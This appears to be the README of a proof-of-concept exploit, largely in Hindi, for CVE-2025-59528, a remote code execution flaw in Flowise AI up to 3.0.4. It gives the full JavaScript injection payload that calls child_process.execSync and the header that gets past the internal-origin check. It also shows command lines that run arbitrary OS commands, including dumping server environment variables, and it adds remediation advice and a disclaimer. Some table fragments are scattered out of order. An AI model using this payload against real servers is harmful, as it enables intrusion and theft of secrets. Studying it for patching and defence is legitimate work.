
Authenticated Remote Code Execution (RCE) exploit for Flowise AI versions ≤ 3.0.4. Leverages a vulnerability in the /api/v1/node-load-method/customMCP endpoint to execute arbitrary system commands via Node.js child_process.execSync(). Includes full PoC script and remediation steps.
CVE ID: CVE-2025-59528
प्रभावित सॉफ्टवेयर: Flowise AI
कमजोर संस्करण: <= 3.0.4
सुधारित संस्करण: 3.0.5 और बाद के
गंभीरता: क्रिटिकल
लेखक: r3nsi15
तिथि: 2025
Flowise AI के संस्करण 3.0.4 तक (3.0.4 सहित) एक प्रमाणित उपयोगकर्ता को /api/v1/node-load-method/customMCP एंडपॉइंट पर एक तैयार किया गया JavaScript पेलोड भेजकर होस्ट सर्वर पर दूरस्थ कोड निष्पादन (RCE) प्राप्त करने की अनुमति देते हैं।
customMCP नोड की लोड विधि उपयोगकर्ता-नियंत्रित इनपुट स्वीकार करती है जिसे सर्वर-साइड JavaScript के रूप में मूल्यांकित किया जाता है, बिना पर्याप्त सैनिटाइज़ेशन या सैंडबॉक्सिंग के। Node.js के child_process.execSync का लाभ उठाने वाले पेलोड को इंजेक्ट करके, एक हमलावर Flowise सर्वर प्रक्रिया के विशेषाधिकारों के साथ मनमाना ऑपरेटिंग सिस्टम कमांड चला सकता है।
एंडपॉइंट को x-request-from: internal हेडर की उपस्थिति की भी आवश्यकता होती है।
| एंडपॉइंट | विधि | प्रमाणीकरण आवश्यक | उद्देश्य |
|---|---|---|---|
/api/v1/auth/login | POST | नहीं | प्रमाणित करें और सत्र प्राप्त करें |
/api/v1/node-load-method/customMCP |
फ़ाइल: CVE-2025-59528_POC.py
requests लाइब्रेरीpip install requests
python3 CVE-2025-59528_POC.py -e <email> -i <target_url> -p <password> -c <command>
कोड निष्पादन सत्यापित करें:
python3 CVE-2025-59528_POC.py -e [email protected] -i https://flowise.example.com -p MyP@ss -c "id"
सर्वर पर्यावरण चर प्राप्त करें:
python3 CVE-2025-59528_POC.py -e [email protected] -i https://flowise.example.com -p MyP@ss -c "env"
[+] Logged in
[+] Exploit sent
[+] Status: 200
यह शोषण निम्नलिखित JavaScript अभिव्यक्ति को mcpServerConfig फ़ील्ड में इंजेक्ट करता है:
({x:(function(){
const cp = process.mainModule.require('child_process');
cp.execSync('<command>');
return 1;
})()})
process.mainModule.require('child_process') — Node.js के अंतर्निहित प्रक्रिया निष्पादन मॉड्यूल को लोड करता है।execSync('<command>') — हमलावर द्वारा दिए गए OS कमांड को सिंक्रोनस रूप से चलाता है।x-request-from: internal हेडर को भी अनुरोध में जोड़ा जाता है ताकि आंतरिक मूल जांच को पास किया जा सके जो अन्यथा कॉल को ब्लॉक कर देगा।
customMCP एंडपॉइंट उपयोगकर्ता द्वारा आपूर्ति किए गए इनपुट को सीधे सर्वर पर JavaScript मूल्यांकन संदर्भ में पास करता है, बिना सैनिटाइज़ेशन या सैंडबॉक्सिंग के। Node.js के मुख्य मॉड्यूल (विशेष रूप से child_process) तक process.mainModule.require के माध्यम से अप्रतिबंधित पहुंच के साथ, यह एक सरलता से शोषणीय RCE वेक्टर बनाता है। x-request-from हेडर जांच कोई सार्थक सुरक्षा सीमा प्रदान नहीं करता क्योंकि इसे किसी विश्वसनीय स्रोत के विरुद्ध मान्य नहीं किया जाता है।
ये दो कमजोरियां संस्करण <= 3.0.4 चलाने वाले Flowise इंस्टेंस के खिलाफ एक अप्रमाणित RCE हमला पथ के लिए श्रृंखलित की जा सकती हैं:
child_process, fs, आदि) तक पहुंच को उचित सैंडबॉक्स (जैसे, vm2, पृथक संदर्भ, या process.mainModule पहुंच हटाने) के माध्यम से प्रतिबंधित करें।x-request-from हेडर को एक साधारण स्ट्रिंग जांच के बजाय सर्वर-साइड तंत्र के माध्यम से मान्य और प्रमाणित करें।यह प्रमाण अवधारणा केवल शैक्षिक और अधिकृत सुरक्षा अनुसंधान उद्देश्यों के लिए प्रदान की गई है। स्पष्ट लिखित अनुमति के बिना सिस्टम के खिलाफ इस स्क्रिप्ट का उपयोग अवैध और अनैतिक है। लेखक और योगदानकर्ता दुरुपयोग के लिए कोई दायित्व नहीं मानते हैं।
| POST |
| हाँ (सत्र कुकी) |
| कमजोर नोड लोड विधि एंडपॉइंट |
| फ़्लैग | लंबा रूप | आवश्यक | विवरण |
|---|
-e | --email | हाँ | प्रमाणित उपयोगकर्ता का ईमेल पता |
-i | --url | हाँ | Flowise इंस्टेंस का आधार URL |
-p | --password | हाँ | प्रमाणित उपयोगकर्ता का पासवर्ड |
-c | --cmd | हाँ | सर्वर पर निष्पादित करने के लिए OS कमांड |